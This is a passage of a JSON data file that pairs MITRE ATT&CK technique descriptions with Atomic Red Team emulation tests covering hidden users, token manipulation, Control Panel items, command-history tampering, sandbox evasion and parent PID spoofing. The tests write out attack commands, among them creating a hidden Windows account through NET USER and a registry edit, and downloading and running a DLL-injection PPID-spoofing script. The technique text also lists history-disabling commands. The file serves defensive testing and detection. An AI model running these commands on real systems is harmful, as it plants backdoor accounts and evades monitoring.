- "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users
to TRUE
in the /Library/Preferences/com.apple.loginwindow
plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users
key value is set to TRUE
, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl
utility to create hidden user accounts by setting the IsHidden
attribute to 1
. Adversaries can also hide a user\u2019s home folder by changing the chflags
to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList
Registry key value to 0
for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings
command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true
).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
- "modified": "2022-04-19T02:31:01.315Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hide Artifacts: Hidden Users",
- "x_mitre_detection": "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList
key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users
key value to TRUE
in the /Library/Preferences/com.apple.loginwindow
plist file. Monitor the command line for usage of the dscl . create
command with the IsHidden
attribute set to 1
.(Citation: Apple Support Hide a User Account) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "File: File Modification",
- "Process: Process Creation",
- "User Account: User Account Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1564.002"
- },
- "atomic_tests": [
- {
- "name": "Create Hidden User in Registry",
- "auto_generated_guid": "173126b7-afe4-45eb-8680-fa9f6400431c",
- "description": "Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.\nReference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_password": {
- "description": "Password for new user account",
- "type": "string",
- "default": "At0micRedTeam!"
- },
- "user_name": {
- "description": "Username",
- "type": "string",
- "default": "AtomicOperator"
- }
- },
- "executor": {
- "command": "NET USER #{user_name}$ #{user_password} /ADD /expires:never \nREG ADD \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v #{user_name}$ /t REG_DWORD /d 0\n",
- "cleanup_command": "reg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v #{user_name}$ /f >nul 2>&1\nnet user ${user_name}$ /delete >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1134.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
- "type": "attack-pattern",
- "created": "2020-02-18T18:03:37.481Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.003",
- "url": "https://attack.mitre.org/techniques/T1134/003"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
- "source_name": "Microsoft Command-line Logging"
- }
- ],
- "modified": "2020-02-18T18:03:37.481Z",
- "name": "Make and Impersonate Token",
- "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser
function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken
to assign the token to a thread.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser
and SetThreadToken
and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "System access controls",
- "File system access controls"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1196": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1196",
- "url": "https://attack.mitre.org/techniques/T1196"
- },
- {
- "source_name": "Microsoft Implementing CPL",
- "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
- },
- {
- "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Jan 2014"
- },
- {
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
- "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Dec 2013"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
- "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
- "source_name": "Palo Alto Reaver Nov 2017"
- }
- ],
- "modified": "2020-01-31T18:59:21.682Z",
- "name": "Control Panel Items",
- "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl
) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl
). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace
and HKEY_CLASSES_ROOT\\CLSID\\{GUID}
. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls
and Extended Properties
Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel
. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);
) or from a command line (control.exe /name {Canonical_Name}
). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers
where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1562.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vikas Singh, Sophos",
- "Emile Kenning, Sophos",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
- "created": "2020-02-21T20:56:06.498Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.003",
- "url": "https://attack.mitre.org/techniques/T1562/003"
- },
- {
- "source_name": "Sophos PowerShell command audit",
- "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
- "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."
- },
- {
- "source_name": "Microsoft PowerShell Command History",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7",
- "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."
- },
- {
- "source_name": "Sophos PowerShell Command History Forensics",
- "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
- "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/13.html",
- "source_name": "capec",
- "external_id": "CAPEC-13"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE
. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history
. The HISTCONTROL
environment variable keeps track of what should be saved by the history
command and eventually into the ~/.bash_history
file when a user logs out. HISTCONTROL
does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE
) or set the command history size to zero (export HISTFILESIZE=0
) to prevent logging of commands. Additionally, HISTCONTROL
can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL
can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine
module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}
. This will cause ConsoleHost_history.txt
to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing
.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.",
- "modified": "2022-04-20T18:11:45.153Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Impair Defenses: HISTCONTROL",
- "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history
can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL
, HISTFILE
, or HISTFILESIZE
environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing
command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing
and Set-PSReadLineOption -HistorySavePath {File Path}
. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Log analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1562.003"
- },
- "atomic_tests": []
- },
- "T1497.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
- "type": "attack-pattern",
- "created": "2020-03-06T21:04:12.454Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.002",
- "url": "https://attack.mitre.org/techniques/T1497/002"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "Sans Virtual Jan 2016",
- "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667",
- "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019."
- },
- {
- "source_name": "Unit 42 Sofacy Nov 2018",
- "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
- "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
- "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
- "source_name": "FireEye FIN7 April 2017"
- }
- ],
- "modified": "2021-10-18T14:57:48.362Z",
- "name": "User Activity Based Checks",
- "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Static File Analysis",
- "Signature-based detection",
- "Host forensic analysis"
- ]
- },
- "atomic_tests": []
- },
- "T1134.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
- "created": "2020-02-18T18:22:41.448Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.004",
- "url": "https://attack.mitre.org/techniques/T1134/004"
- },
- {
- "source_name": "XPNSec PPID Nov 2017",
- "url": "https://blog.xpnsec.com/becoming-system/",
- "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."
- },
- {
- "source_name": "CounterCept PPID Spoofing Dec 2018",
- "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
- "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."
- },
- {
- "source_name": "Microsoft UAC Nov 2018",
- "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
- "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."
- },
- {
- "source_name": "Microsoft Process Creation Flags May 2018",
- "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
- "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
- },
- {
- "source_name": "Secuirtyinbits Ataware3 May 2019",
- "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
- "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."
- },
- {
- "source_name": "DidierStevens SelectMyParent Nov 2009",
- "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
- "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."
- },
- {
- "source_name": "CTD PPID Spoofing Macro Mar 2019",
- "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
- "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess
API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe
or consent.exe
) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe
rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe
), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
- "modified": "2022-05-03T02:15:42.360Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Access Token Manipulation: Parent PID Spoofing",
- "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess
/CreateProcessA
, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess
/CreateProcessA
may also be proceeded by a call to UpdateProcThreadAttribute
, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Heuristic Detection",
- "Host Forensic Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1134.004"
- },
- "atomic_tests": [
- {
- "name": "Parent PID Spoofing using PowerShell",
- "auto_generated_guid": "069258f4-2162-46e9-9a25-c9c6c56150d2",
- "description": "This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_process_name": {
- "description": "Name of the parent process",
- "type": "string",
- "default": "explorer"
- },
- "spawnto_process_path": {
- "description": "Path of the process to spawn",
- "type": "path",
- "default": "C:\\Program Files\\Internet Explorer\\iexplore.exe"
- },
- "dll_process_name": {
- "description": "Name of the created process from the injected dll",
- "type": "string",
- "default": "calculator"
- },
- "dll_path": {
- "description": "Path of the dll to inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1134.004\\bin\\calc.dll"
- },
- "spawnto_process_name": {
- "description": "Name of the process to spawn",
- "type": "string",
- "default": "iexplore"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL to inject must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"#{dll_path}\"\n"
- },
- {
- "description": "PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n",
- "prereq_command": "if (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n"
- }
- ],
- "executor": {
- "command": ". $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n",
- "cleanup_command": "Stop-Process -Name \"#{dll_process_name}\" -ErrorAction Ignore\nStop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from Current Process",
- "auto_generated_guid": "14920ebd-1d61-491a-85e0-fe98efe37f25",
- "description": "Spawns a powershell.exe process as a child of the current process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- },
- "parent_pid": {
- "description": "PID of process to spawn from",
- "type": "string",
- "default": "$PID"
- },
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
